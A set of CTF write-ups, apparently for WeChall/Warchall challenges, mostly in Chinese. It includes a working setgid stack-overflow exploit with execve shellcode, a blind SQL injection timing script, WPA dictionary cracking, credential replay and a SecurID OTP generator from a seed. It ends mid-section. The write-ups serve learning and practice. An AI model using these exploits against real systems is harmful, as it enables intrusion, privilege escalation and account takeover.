Hello Navi

Challenge

eXtract Me (Encoding, Stegano) — score 3, by oleg.

Yo dog, I heard you like zips so we put a zip in your zip so you can unzip unzipped zips. Enjoy!

Download: r.zip (2698 bytes).

Solution

The challenge is an archive matryoshka: the r.zip contains an infinite recursive zip (r/r.zip → always the same inner zip), plus hidden data appended after the ZIP EOCD.

Step 1 — Cut out the second archive

r.zip is actually two things stitched together:

• First 440 bytes: the recursive zip (r/r.zip, endless loop)
• Remaining 2258 bytes: LZW-compressed data (magic \x1f\x9d)

Extract the trailing data and decompress with uncompress:

1
2
3
4
5
6
7
8

$ python3 -c "
with open('r.zip','rb') as f:
    d=f.read()
open('trailing.Z','wb').write(d[440:])
"
$ uncompress -c trailing.Z > stage1.xar
$ file stage1.xar
stage1.xar: xar archive compressed TOC

Step 2 — Extract the chain

The XAR contains file "8", which is itself LZW-compressed:

1
2

$ xar -xf stage1.xar       # extract → file "8"
$ uncompress -c 8 > stage2.rar

Then continue extracting each layer with 7z or the appropriate tool:

The full extraction chain is:

1
2
3
4
5
6

r.zip
 ├─ r/r.zip (infinite recursion, ignore)
 └─ trailing LZW data
    └─ XAR → 8(LZW) → RAR → A(XZ) → A~(ZOO) → 4(RZIP)
       └─ ZZ0(gzip) → 1(ARJ) → 3(LZW) → 7z → F(bzip2)
          └─ "L0LYouThInkiTSh0uldB3SoEasY?" (password)

This showcases the depth of archive format history — ZIP, LZW compress, XAR, RAR, XZ, ZOO, RZIP, GZip, ARJ, 7z, bzip2 — almost every compression format ever invented.

Challenge

This challenge consists of 6 different parts.

1
2
3
4
5
6
7
8
9
10
11
12
13
14

1. Hi, This is an **\*\*\*\*\*\*\*\*** virus. As you know we are not so technical advanced as in the West. We therefore ask you to delete all your files on your harddisk manually and send this email to all your friends.

2. When you see "Dis is one half" on your screen, half of your hard drive has been encrypted with **\*\*\*** encryption.

3. **\*\*\*\* \*\*\*\*** is a great DNS technique for botherders to avoid shutting down of their malware or phishing site and to hide these sites with an ever-changing network of compromised hosts acting as proxies.

4. Download the source code for netsky.ae (variant name by Kaspersky), in the main.cpp (sha-256sum=e80d5db98e3e661bee9e57e0e524de2b97db2f48c63f2e73c562719501aeddc1) the first host name in the 90. row is www.**\*\*\*\*\***.com

5. After downloading and installing Trojan-PSW.Win32.Sinowal.w (variant name by Kaspersky) (sha-256sum=c21ae31e700930b02ad8c286c098770a1baad33abae6436733bb024998bdd19e), first the malware queries the DNS for r**\*\*\*\*\***.com (include r in the final answer).

6. Download Trojan-GameThief.Win32.Nilage.mc (variant name by Kaspersky) (sha-256sum=d2243520460811f14c7f77dce093b807e546298b6eb3e8d8a8f4581f28057284), unpack and analyze. The executable contains the string: c:\\**\*\*\*\*\***.txt


Your task is to fill in the \* parts, concatenate the answers with \_ (underscore) and remove any spaces (if any). To be more precise, the solution string will contain 5 \_ and altogether 43 characters. You only have to answer 5 out of the 6 questions correctly to be succesfull, but please include every answer (even if one is known wrong).

Solution

Part 1: ALBANIAN

题面描述的是 ILOVEYOU 蠕虫（LoveLetter，2000年）——"Hi" 开头、要求删除文件、转发给所有好友的邮件蠕虫。但填空的 8 个星号对应的是 ALBANIAN（Albanian 病毒），不是 ILOVEYOU。答案全大写。

Part 2: XOR

"Dis is one half" 是 OneHalf DOS 病毒（1994年）的显示信息，硬盘被 XOR encryption 部分加密。3 个星号对应 XOR，全大写。

Part 3: fastflux

题面完整定义了 fast-flux DNS：botnet 通过快速变更 DNS A 记录，在不断变化的代理主机网络中隐藏恶意/钓鱼站点。**** **** = "fast flux"，去空格后 8 字符 fastflux，全小写。注意首轮测试中混合大小写变体（FastFlux/FASTFLUX/fast-flux）被拒，唯 fastflux 正确。

Part 4: norton

通过 Wayback Machine 获取 VX Heaven 的 netsky_ae.zip 在线浏览，main.cpp 第 90 行：

1

const char* buffer = "127.0.0.1 www.norton.com 127.0.0.1 norton.com 127.0.0.1 yahoo.com...";

第一个 www.******.com = norton（6 字符）。

Web Archive 来源：https://web.archive.org/web/20150418161252id_/http://vxheaven.org/src_view.php?file=netsky_ae.zip&view=main.cpp

Part 5: rikora （未解占位）

Sinowal.w（SHA256: c21ae31e700930b02ad8c286c098770a1baad33abae6436733bb024998bdd19e）首次 DNS 查询。Torpig/Sinowal 论文（UCSB 2009）列出硬编码 C2 域名为 rikora.com、pinakola.com、flippibi.com。提交 rikora 未增加正确数。

注意题面 r****** 表明答案应为 r + 6 字 = 7 字符，而 rikora 仅 6 字符。可能该特定变种使用不同域名，或题面星号数不精确。

Part 6: t1game

Trojan-GameThief.Win32.Nilage.mc（SHA256: d2243520460811f14c7f77dce093b807e546298b6eb3e8d8a8f4581f28057284），Lineage 游戏密码窃取木马，UPX 压缩。

从 Hybrid Analysis 沙箱运行的 Nilage.mc 报告中提取的字符串表确认偏移 126544 处有 t1game + .txt。Microsoft 的 PWS:Win32/Lineage 威胁文档也确认该家族常用 t1game.txt 存储窃取的凭据。

答案：t1game（6 字符），对应 c:\t1game.txt。

验证方法

通过 WeChall authme 端点 POST 提交，服务器返回逐部分正确数：

1. ALBANIAN_xxx_aaaaaaaa_bbbbbb_cccccc_dddddd → 1/6（仅 Part 1 正确）
2. ALBANIAN_XOR_fastflux_norton_cccccc_dddddd → 4/6（Parts 1-4 全部正确）
3. ALBANIAN_XOR_fastflux_norton_rikora_gamect1 → 4/6（Part 5 和 Part 6 均未通过）
4. ALBANIAN_XOR_fastflux_norton_rikora_t1game → 5/6 通过

Warchall level 7 — 32-bit setgid ELF 栈溢出。ASLR enabled 但 NX disabled、无 PIE、无 canary，非常适合 ret2reg + shellcode 经典打法。利用 memcpy 返回后 EAX 残留 vulnbuf 地址的特性，通过 call *%eax gadget 跳转到栈上 shellcode 获取 setgid shell。

1
2

ssh -p 19198 level07@warchall.net
/home/level/07_tropical_fruits/

Challenge

32-bit setgid ELF binary，源码由 hint() 函数泄露（调用 printf 打印 "Need to bypass aslr" 后 exit(0)）：

1
2
3
4
5
6
7
8
9
10
11
12
13

void hint() {
    printf("Need to bypass aslr\n");
    exit(0);
}
void vulnfunc(char *input) {
    char vulnbuf[300];
    memcpy(vulnbuf, input, strlen(input));  // 无边界检查
}
int main(int argc, char *argv[]) {
    if(argc > 1) vulnfunc(argv[1]);
    else printf("%s <input>\n", argv[0]);
    return 0;
}

保护: setgid level07, NX disabled (GNU_STACK RWE), No PIE, No canary, ASLR enabled. libc: glibc 2.35.

Solution

漏洞: memcpy(vulnbuf, input, strlen(input)) 无边界检查，栈溢出。

Stack Layout

1
2
3
4

sub esp, 0x148 (328 bytes)
vulnbuf  at ebp - 0x134 (ebp - 308)
return addr at ebp + 4
Offset to return address: 308 + 4 = 312 bytes

关键 Gadget

memcpy 返回后 EAX = vulnbuf 地址（即栈上 shellcode 地址），因此可以用 call *%eax 直接跳转到 shellcode。

1

0x080484cf: call *%eax   ← 跳转到 shellcode

Shellcode

Null-free, 42 bytes:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21

; setregid(507, 507) — 继承 setgid 权限
xor eax, eax
xor ebx, ebx
xor ecx, ecx
mov bx, 0x1fb   ; 507
mov cx, 0x1fb   ; 507
mov al, 0x47    ; setregid32
int 0x80

; execve("/bin//sh", ["/bin//sh", NULL], NULL)
xor eax, eax
push eax
push "//sh"
push "/bin"
mov ebx, esp
push eax
push ebx
mov ecx, esp
cdq             ; edx = 0
mov al, 0x0b    ; execve
int 0x80

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25

#!/usr/bin/env python3
"""Warchall Level 7 — Tropical Fruits exploit."""

import struct
import subprocess

# Null-free shellcode (42 bytes)
shellcode = (
    b"\x31\xc0\x31\xdb\x31\xc9"              # xor eax; xor ebx; xor ecx
    b"\x66\xbb\xfb\x01\x66\xb9\xfb\x01"      # mov bx, 0x1fb; mov cx, 0x1fb
    b"\xb0\x47\xcd\x80"                      # mov al, 0x47; int 0x80
    b"\x31\xc0\x50\x68\x2f\x2f\x73\x68"      # xor eax; push eax; push "//sh"
    b"\x68\x2f\x62\x69\x6e\x89\xe3"          # push "/bin"; mov ebx, esp
    b"\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"  # push eax; push ebx; mov ecx, esp; cdq; mov al, 0x0b; int 0x80
)

OFFSET = 312
CALL_EAX = struct.pack("<I", 0x080484cf)

payload = shellcode + b"\x90" * (OFFSET - len(shellcode)) + CALL_EAX

subprocess.run(
    ["/home/level/07_tropical_fruits/level07", payload],
    env={"PWD": "/home/level/07_tropical_fruits"},
)

执行后交互式 shell 继承 setgid level07，可读 solution.txt。

Blinded by the Lighter 是一道 blind SQL injection 题，要求在每轮最多 33 次查询的硬限制下，连续成功 3 轮提取 32 位 hex hash，且总时间不得超过 9 分钟。核心思路是用 SLEEP() 的时间侧信道把 16 个字符映射为不同延迟，每字符仅需 1 次查询。

Challenge

• 每轮 33 次查询上限
• 需连续成功 3 轮
• 9 分钟时间限制（BLIGHT2_TIME = 540s）
• 字符集 ABCDEF0123456789
• 无 addslashes/escape，过滤 /* 和 blight

Solution

Oracle: PHP Time

页面 footer 精确显示服务端执行时间（精度 ~0.02s），利用 SLEEP() 映射 16 字符为不同时长，1 query/char，32 次刚好卡在 33 限制内。

1
2
3
4
5
6

' or ''='' and (
  if(substr(password,1,1)='a', sleep(1.2), 1) and
  if(substr(password,1,1)='b', sleep(2.4), 1) and
  ...
  if(substr(password,1,1)='9', sleep(19.2), 1)
)-- -

round(PHP_Time / 1.2) → 字符索引。

关键细节

不能轮间 reset — blightReset(true) 会清零 consecutive counter。blightSolved() 成功提交后自动调用 blightReset(false) 生成新 hash 但保留计数。所以只应在最初 reset 一次。

1
2
3
4
5

s.get(URL + '?reset=me')  # 只此一次
for rn in range(3):
    hash = extract()
    s.post(URL, {'thehash': hash, 'mybutton': 'Enter'})
    # blightSolved() 内部已 reset(false)，无需手动

STEP=1.2 — 比 1.5 快（avg 10.2s vs 12.75s），比 1.0 可靠（避免 round() 边界误判）。

requests.Session — 保持 TLS 连接，overhead ~0.4s/req。比 curl 子进程快 30%+。

0.5s 请求间隔 — 避免触发 WeChall 速率限制（~100 次连续请求后 IP 封禁）。

Vultr VPS — 本地网络在代理后 12-15 次请求即受限，需干净 IP。vc2-1c-1gb ($5/mo) 足够，3 轮结束即销毁。

实测数据

总计 306+10+396+10+457 = 1179s（含 10s 轮间冷却）。

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95

#!/usr/bin/env python3
"""16-level sleep, STEP=1.2, 0.5s delay between requests."""

import requests
import re
import time
import sys
from requests.adapters import HTTPAdapter

# 替换为你的 WeChall session cookie
C = {'WC': '<your_wechall_cookie>'}
U = 'https://www.wechall.net/challenge/blind_lighter/index.php'
M = ' abcdef0123456789'
S = 1.2  # Faster than 1.5, more reliable than 1.0

s = requests.Session()
s.headers.update({'User-Agent': 'Mozilla/5.0'})
s.cookies.update(C)
s.mount('https://', HTTPAdapter(1, 1, 1))


def post(d, t=60):
    return s.post(U, data=d, timeout=t, headers={'Referer': U}).text


def get(url, t=20):
    return s.get(url, timeout=t).text


def pt(b):
    """Extract PHP Time value from response body."""
    m = re.search(r'PHP Time:\s*([\d.]+)s', b)
    return float(m.group(1)) if m else None


def ex(pos):
    """Extract single character at position <pos> using 16-level sleep oracle."""
    conds = [
        f"if(substr(password,{pos},1)='{M[i]}', sleep({i * S}), 1)"
        for i in range(1, 17)
    ]
    pl = "' or ''='' and (" + ' and '.join(conds) + ')-- -'
    t = pt(post({'injection': pl, 'inject': 'Inject'}, 60))
    if t is None:
        return '?'
    i = round(t / S)
    if 1 <= i <= 16:
        return M[i]
    # Rounding edge case: try ±1
    for o in [-1, 1]:
        if 1 <= i + o <= 16:
            return M[i + o]
    return '?'


def rd(rn):
    """Run one round: extract 32-char hash and submit."""
    h = ''
    t0 = time.time()
    for pos in range(1, 33):
        h += ex(pos)
        if pos % 8 == 0 or pos == 32:
            print(f'  R{rn} [{pos}/32] {h}  ({time.time() - t0:.0f}s)')
            sys.stdout.flush()
        time.sleep(0.5)  # Rate limit avoidance
    t = time.time() - t0
    body = post({'thehash': h, 'mybutton': 'Enter'}, 60)
    if 'Your answer is correct' in body:
        print(f'  R{rn} SOLVED!({t:.0f}s)')
        return 's'
    elif 'Wow' in body:
        print(f'  R{rn} OK({t:.0f}s)')
        return 'c'
    print(f'  R{rn} BAD({t:.0f}s) h={h}')
    return 'x'


get(U + '?reset=me')
time.sleep(1)

for rn in range(1, 4):
    print(f'=== R{rn} ===')
    sys.stdout.flush()
    r = rd(rn)
    if r == 's':
        print('\nSOLVED!')
        sys.exit(0)
    if r == 'x':
        sys.exit(1)
    if rn < 3:
        print('  [cool 10s]')
        sys.stdout.flush()
        time.sleep(10)

print('Done.')

Challenge

Anderson Application Auditing 是 storyline/realistic 多阶段挑战。背景：VSA 委托 SoftMicro 开发程序、Anderson 负责审计，你作为 hacker 需要劫持 Anderson 与 SoftMicro/VSA 之间的通信，替换被审计程序为恶意版本。过程中收集六段 secret code，拼接后提交。

已知信息：

• SoftMicro 网段：207.46.197.0
• 你的 public IP：17.149.160.49
• Anderson 主页：index2.html

Solution

第一阶段：路由劫持

阅读 tech_spec.txt 获取网络文档，其中泄露了路由器管理凭据 admin/admin。

访问 router_config.html，用默认凭据登录。添加两条路由，将 SoftMicro 和 Anderson 相关网段的流量劫持到你的 public IP：

1
2

route add -net 207.46.197.0 netmask 255.255.255.0 gw 17.149.160.49
route add -net 12.110.110.0 netmask 255.255.255.0 gw 17.149.160.49

成功添加后获得第一段 secret code。

第二阶段：MD5 碰撞

题目模拟 Anderson 通过 PKI/MD5 验证程序完整性。需要上传两个内容不同但 MD5 相同的文件来替换合法程序。

页面提示使用 MD5 碰撞工具。用 fastcoll（Linux）生成碰撞文件：

1
2

echo "prefix" > good.txt
fastcoll -p good.txt -o evil1.txt evil2.txt

上传两个碰撞文件后获得第二段 secret code。

第三阶段：SSH Fingerprint

服务只检查 SSH fingerprint 的前 2 字节和最后 1 字节。需要用 fuzzy fingerprint 工具生成满足部分匹配的密钥对。

使用 THC-FuzzyFingerprint（ffp）工具：

1
2

# 目标 fingerprint（16 进制，只关心前 2 和后 1 nibble）
ffp -f md5 -k 4 -l 1000 -t 03:88:9c:36:41:50:39:15:04:95:89:a4:15:84:fb:b3 -e -d /tmp

生成后上传 ssh-rsa00.pub（公钥）和 ssh-rsa00（私钥），通过验证后获得第三、四段 secret code。

第四阶段：清理痕迹

回到 router_config.html，删除之前添加的路由：

1
2

route del -net 207.46.197.0 netmask 255.255.255.0 gw 17.149.160.49
route del -net 12.110.110.0 netmask 255.255.255.0 gw 17.149.160.49

完成后获得第五、六段 secret code。

最终提交

六段 secret code 按顺序拼接：

You woke up for another gray day, and noticed that your bank account is empty as it is for months. You need some quick easy money, so you join some "darknet" irc channels in order to speak with people, who are able to give you some "not fully legal" job. Your new boss wants you to hack into a small bank infrastructure, and transfer money from one account to another. Easy job, huh?

You drive with your van to the bank's main office, and setup your favourite wireless sniffing tool. Wow, it looks like they are using some WPA network. Let's sniff some data, and try to crack the WPA password with some dictionary attack.

Bug report: some older versions of aircrack-ng are unable to crack the password, be sure to use the latest (rc1 is known to be working).

Part 1: WPA 字典破解

挑战给出一个 pcap 文件 wpa_psk.cap，要求用字典攻击破解 WPA 密码。

用 hcxpcapngtool 将 pcap 转换为 hashcat 22000 格式：

1
2
3
4

curl -s -b 'WC=<cookie>' -o /tmp/wpa_psk.cap \
  'https://www.wechall.net/en/challenge/Z/blackhattale/wpa_psk.cap'

hcxpcapngtool -o /tmp/wpa.22000 /tmp/wpa_psk.cap

hcxpcapngtool 输出确认了握手包信息：

1
2
3

ESSID (total unique).....................: 1
EAPOL pairs (best).......................: 1
EAPOL pairs written to 22000 hash file...: 1 (RC checked)

SSID 是 Z，使用 WPA2。

hashcat 字典攻击

1
2
3

hashcat -m 22000 /tmp/wpa.22000 \
  ~/ctf/ctf-tool/dict/SecLists/Passwords/WiFi-WPA/probable-v2-wpa-top4800.txt \
  --force

1
2
3

Status...........: Cracked
Recovered........: 1/1 (100.00%) Digests (total)
Speed.#01........: 180.0 kH/s

查看结果：

1
2
3
4

hashcat -m 22000 /tmp/wpa.22000 \
  ~/ctf/ctf-tool/dict/SecLists/Passwords/WiFi-WPA/probable-v2-wpa-top4800.txt \
  --show
# 72998caa4b4ea50a2b4daf31ba263708:00112fde233f:001302e3183a:Z:jennifer

WPA 密码是 jennifer。提交到 index.php?key=jennifer&submit=submit 进入下一阶段。

Part 2: ARP 嗅探与 InsecurID 重放

提交 WPA 密码后重定向到 login.php。页面描述了一个 ARP 缓存中毒场景：管理员使用 "PSA InsecurID" 通过明文 HTTP 认证。

嗅探凭据

页面有一个 "sniff some authentication data" 链接（login.php?action=request）。访问后返回一个完整 HTML 页面，其中嵌入了 username=admin3&password=123456 格式的凭据。凭据每次请求都会变化，且有 3 秒时效。

重放攻击

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

import urllib.request, re

cookie = 'WC=<your_cookie>'
base = 'https://www.wechall.net/en/challenge/Z/blackhattale/login.php'

# 嗅探
req = urllib.request.Request(f'{base}?action=request', headers={'Cookie': cookie})
resp = urllib.request.urlopen(req).read().decode()
creds = re.search(r'username=(\w+)&password=(\d+)', resp)
username, password = creds.group(1), creds.group(2)

# 重放（在同一个连接中，耗时 < 1 秒）
url = f'{base}?action=login&username={username}&password={password}'
req2 = urllib.request.Request(url, headers={'Cookie': cookie})
urllib.request.urlopen(req2).read()

重放成功后即可访问 upload_asc.php，显示：

1
2
3
4
5
6
7

Good job. Now you have successfully uploaded the new token data
for the victims bank account. The base filename is the serial number
for the token, and the seed (secret) is d4e3f9eb36c9ebf3.
Please note it is an older format of PSA InsecurID, the newer ones
are using digitally signed XML files and longer seeds.
After you have uploaded the new token data, you have to generate
a valid one time password for that token for 27. of July, 2012 14:24 GMT+1

Part 3: RSA SecurID v1 OTP 计算

这是整个挑战最难的部分。需要根据 seed 和指定时间计算 RSA SecurID 一次性密码。

"PSA InsecurID" 是什么

论坛帖子（Z 本人）提示："PSA InSecurID is really, really clear. Just change/remove a few letters and it's obvious."

PSA InSecurID → 改 P 为 R、去掉 In → RSA SecurID。

这是一个 RSA SecurID v1（64-bit seed）token。v1 使用自定义的 ASHF（Alleged SecurID Hash Function），不是后来 v2/v3 的 AES-128。

ASHF 算法

ASHF 由 I.C. Wiener 在 2000 年通过逆向工程 ACE/Server 代码发布（Bugtraq 2000-12-21）。学术论文（Biryukov et al. 2003, Contini & Yin 2004）确认了其正确性。

算法结构：

1. 时间扩展：将 24-bit 时间值扩展为 64-bit "明文"，格式 T0T1T2T2T0T1T2T2
2. 初始 key-dependent 置换
3. 4 轮 block cipher（每轮 64 个子步骤）
4. 每轮结束后 key ^= output
5. 最终 key-dependent 置换
6. BCD 转换

时间值计算：

1
2

t = (unix_timestamp / 60 - 0x806880) * 2;  // minutes since 1986-01-01, ×2
t &= -4;  // 60-second interval masking

0x806880 = 8415360 = 1970-01-01 到 1986-01-01 的分钟数。

bswap64 在 64 位系统上的潜在问题

I.C. Wiener 的原始代码：

1
2
3
4

static __forceinline unsigned __int64 bswap64(const unsigned __int64 x) {
    unsigned long a = (unsigned long) x, b = (unsigned long) (x >> 32);
    return (((unsigned __int64) bswap32(a)) << 32) | bswap32(b);
}

在 64 位 Linux 上，unsigned long 是 8 字节而不是 4 字节。理论上 (unsigned long) x 不会截断到 32 位。但实际上 bswap32 宏内部使用 0x00ff00ff 掩码（32 位），高位会被隐式截断。实测中原始实现与 __builtin_bswap64 产生相同结果。建议使用编译器内置函数以确保可移植性：

1
2

static inline uint32_t bswap32(uint32_t x) { return __builtin_bswap32(x); }
static inline uint64_t bswap64(uint64_t x) { return __builtin_bswap64(x); }

完整 ASHF 实现

以下是基于 I.C. Wiener 源码的完整 C 实现，修复了 64 位兼容性问题：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <time.h>

typedef union _OCTET {
    uint64_t    Q[1];
    uint32_t    D[2];
    uint16_t    W[4];
    uint8_t     B[8];
} OCTET;

static inline uint32_t bswap32(uint32_t x) { return __builtin_bswap32(x); }
static inline uint64_t bswap64(uint64_t x) { return __builtin_bswap64(x); }
static inline uint64_t rol64(uint64_t x, int n) { return (x << (n & 63)) | (x >> ((-n) & 63)); }
static inline uint8_t ror8(uint8_t x, int n) { return (x >> (n & 7)) | (x << ((-n) & 7)); }

void securid_expand_key_to_4_bit_per_byte(const OCTET source, char *target) {
    int i;
    for (i = 0; i < 8; i++) {
        target[i*2]   = source.B[i] >> 4;
        target[i*2+1] = source.B[i] & 0x0F;
    }
}

void securid_expand_data_to_1_bit_per_byte(const OCTET source, char *target) {
    int i, j, k;
    for (i = 0, k = 0; i < 8; i++)
        for (j = 7; j >= 0; j--)
            target[k++] = (source.B[i] >> j) & 1;
}

void securid_reassemble_64_bit_from_64_byte(const unsigned char *source, OCTET *target) {
    int i = 0, j, k = 0;
    for (target->Q[0] = 0; i < 8; i++)
        for (j = 7; j >= 0; j--)
            target->B[i] |= source[k++] << j;
}

void securid_permute_data(OCTET *data, const OCTET key) {
    unsigned char bit_data[128];
    unsigned char hex_key[16];
    uint32_t i, k, b, m, bit;
    unsigned char j;
    unsigned char *hkw, *permuted_bit;

    memset(bit_data, 0, sizeof(bit_data));
    securid_expand_data_to_1_bit_per_byte(*data, bit_data);
    securid_expand_key_to_4_bit_per_byte(key, hex_key);

    for (bit = 32, hkw = hex_key, m = 0; bit <= 32; hkw += 8, bit -= 32) {
        permuted_bit = bit_data + 64 + bit;
        for (k = 0, b = 28; k < 8; k++, b -= 4) {
            for (j = hkw[k]; j; j--) {
                bit_data[(bit + b + m + 4) & 0x3F] = bit_data[m];
                m = (m + 1) & 0x3F;
            }
            for (i = 0; i < 4; i++)
                permuted_bit[b + i] |= bit_data[(bit + b + m + i) & 0x3F];
        }
    }
    securid_reassemble_64_bit_from_64_byte(bit_data + 64, data);
}

void securid_do_4_rounds(OCTET *data, OCTET *key) {
    unsigned char round, i, j, t;
    for (round = 0; round < 4; round++) {
        for (i = 0; i < 8; i++) {
            for (j = 0; j < 8; j++) {
                if ((((key->B[i] >> (j ^ 7)) ^ (data->B[0] >> 7)) & 1) != 0) {
                    t = data->B[4];
                    data->B[4] = 100 - data->B[0];
                    data->B[0] = t;
                } else {
                    data->B[0] = (uint8_t)(ror8((uint8_t)(ror8(data->B[0], 1) - 1), 1) - 1)
                                 ^ data->B[4];
                }
                data->Q[0] = bswap64(rol64(bswap64(data->Q[0]), 1));
            }
        }
        key->Q[0] ^= data->Q[0];
    }
}

void securid_convert_to_decimal(OCTET *data, const OCTET key) {
    uint32_t i;
    uint8_t c, hi, lo;
    c = (key.B[7] & 0x0F) % 5;
    for (i = 0; i < 8; i++) {
        hi = data->B[i] >> 4;
        lo = data->B[i] & 0x0F;
        c = (c + (key.B[i] >> 4)) % 5;
        if (hi > 9) data->B[i] = ((hi = (hi - (c + 1) * 2) % 10) << 4) | lo;
        c = (c + (key.B[i] & 0x0F)) % 5;
        if (lo > 9) data->B[i] = (lo = ((lo - (c + 1) * 2) % 10)) | (hi << 4);
    }
}

void securid_hash_data(OCTET *data, OCTET key, unsigned char convert_to_decimal) {
    securid_permute_data(data, key);
    securid_do_4_rounds(data, &key);
    securid_permute_data(data, key);
    if (convert_to_decimal)
        securid_convert_to_decimal(data, key);
}

void securid_hash_time(unsigned long time_val, OCTET *hash, OCTET key) {
    hash->B[0] = (uint8_t)(time_val >> 16);
    hash->B[1] = (uint8_t)(time_val >> 8);
    hash->B[2] = (uint8_t)time_val;
    hash->B[3] = (uint8_t)time_val;
    hash->B[4] = (uint8_t)(time_val >> 16);
    hash->B[5] = (uint8_t)(time_val >> 8);
    hash->B[6] = (uint8_t)time_val;
    hash->B[7] = (uint8_t)time_val;
    securid_hash_data(hash, key, 1);
}

int otp_from_bytes(uint8_t b0, uint8_t b1, uint8_t b2) {
    return (b0 >> 4) * 100000 + (b0 & 0xF) * 10000 +
           (b1 >> 4) * 1000   + (b1 & 0xF) * 100 +
           (b2 >> 4) * 10     + (b2 & 0xF);
}

int main(void) {
    OCTET key, hash;
    unsigned long t;
    int code1, code2;

    /* seed = d4e3f9eb36c9ebf3 */
    key.B[0] = 0xd4; key.B[1] = 0xe3; key.B[2] = 0xf9; key.B[3] = 0xeb;
    key.B[4] = 0x36; key.B[5] = 0xc9; key.B[6] = 0xeb; key.B[7] = 0xf3;

    /* Unix timestamp for 2012-07-27 14:24 CEST (UTC+2) = 12:24 UTC */
    struct tm tm_target = {0};
    tm_target.tm_year = 2012 - 1900;
    tm_target.tm_mon = 7 - 1;
    tm_target.tm_mday = 27;
    tm_target.tm_hour = 12;
    tm_target.tm_min = 24;
    time_t unix_ts = timegm(&tm_target);

    t = (unix_ts / 60 - 0x806880) * 2;
    t &= -4UL;

    securid_hash_time(t, &hash, key);
    code1 = otp_from_bytes(hash.B[0], hash.B[1], hash.B[2]);
    code2 = otp_from_bytes(hash.B[3], hash.B[4], hash.B[5]);

    printf("t = %lu\n", t);
    printf("code1 = %06d\n", code1);
    printf("code2 = %06d\n", code2);
    return 0;
}

编译运行：

1

gcc -O2 -o securid securid.c && ./securid

1
2
3

t = 27949008
code1 = 474358
code2 = 440866

验证 ASHF 实现正确性

学术论文提供了一个 vanishing differential 测试向量：key = 356b48b3ae15c271，时间 0x1c3ba8 和 0x1c3aa8 应产生相同输出。

1
2
3

t=0x1C3BA8: 92868758689529220
t=0x1C3AA8: 92868758689529220
Vanishing diff: PASS

OTP 提取

ASHF 输出 8 字节。每个 hash 产生两个连续的 token code：

• code1: BCD 提取 bytes 0-2（6 位数字）
• code2: BCD 提取 bytes 3-5（6 位数字）

BCD 提取方式：

1
2
3
4
5

int otp_from_bytes(uint8_t b0, uint8_t b1, uint8_t b2) {
    return (b0 >> 4) * 100000 + (b0 & 0xF) * 10000 +
           (b1 >> 4) * 1000   + (b1 & 0xF) * 100 +
           (b2 >> 4) * 10     + (b2 & 0xF);
}

计算结果

seed = d4e3f9eb36c9ebf3，目标时间 2012-07-27 14:24 CEST（UTC+2）：

1
2
3

t = 27949008
code1 (bytes 0-2) = 474358
code2 (bytes 3-5) = 440866

Z 在论坛给出的参考值：

1
2

779286 - 14:23 CEST (code2)
440866 - 14:25 CEST (code2)

注意：Z 的参考值中 t 值与我们用 timegm 计算的有 ±2 的偏差，可能源于不同的时间计算方式。但 code2=440866 在 t=27949008 时精确匹配。挑战要求的 14:24 OTP 是 code1 = 474358。

提交验证

通过 curl 提交 474358：

1
2
3

curl -s -b 'WC=<cookie>' -L \
  'https://www.wechall.net/en/challenge/Z/blackhattale/upload_asc.php' \
  -d 'otp=474358&submit=submit'

服务端返回 Good 并通过 JS 重定向到 f1nal_st8g3.php。

时区说明

挑战页面写 "14:24 GMT+1"，但 Z 说 "I have created this challenge in CET/CEST timezone"。实际使用的是 CEST（UTC+2，夏令时），不是 CET（UTC+1）。用 CET 计算出的 OTP 全部错误。

交叉验证——用 CET（UTC+1）计算 14:24：

1

CET code1 = 938700（≠ 474358）

Part 4: Final Stage

提交正确 OTP 后服务端返回 Good 并通过 JS 重定向到 f1nal_st8g3.php。该页面显示 "Your answer is correct" 并确认挑战已解决。整个挑战不需要额外的前端交互——f1nal_st8g3.php 是最终确认页面。

工具链

• WPA 握手提取: hcxpcapngtool 7.1.2（ZerBea/hcxtools）
• WPA 字典破解: hashcat 7.1.2 + RTX 4070 Ti SUPER
• 字典: SecLists probable-v2-wpa-top4800
• HTTP 自动化: curl + Python urllib
• ASHF 实现: C（gcc -O2）

Challenge

A paranoid friend has sent me a message, but in his paranoid mind he forgot to tell me how to decode it. If Picasso got a computer he would know what to do!

WeChall 页面给出一段编码消息，提交框要求输入解码后的答案。

Recon

拿到的消息长这样（坐标每次访问随机生成，但文本和图案不变）：

1

S10x13a20x10d31x14l41x16y27x11,42x10 43x16t37x11h17x16i12x15s10x15 ...

Solution

消息中的字母是坐标对之间的分隔符，NxN 才是真正的 payload。把每个 (x, y) 当作一个黑像素画在画布上，会显现文字。

Step 1: 提取坐标

1
2
3
4

import re
msg = "S10x13a20x10d31x14l41x16y27x11,42x10 43x16..."
coords = re.findall(r'(\d+)x(\d+)', msg)
# coords = [('10','13'), ('20','10'), ('31','14'), ...]

每个坐标对格式是 NNxNN，其中 x 范围 10-43，y 范围 10-16。字母（a, d, l, y...）只是点分隔符，可以全部丢弃。

Step 2: 画图

用任意方式把坐标画成像素：

Python：

1
2
3
4
5
6

grid = {}
for x_str, y_str in coords:
    grid[(int(x_str), int(y_str))] = '#'

for y in range(10, 17):
    print(''.join(grid.get((x, y), ' ') for x in range(10, 44)))

ImageJ（论坛方案）：

1
2
3
4
5
6

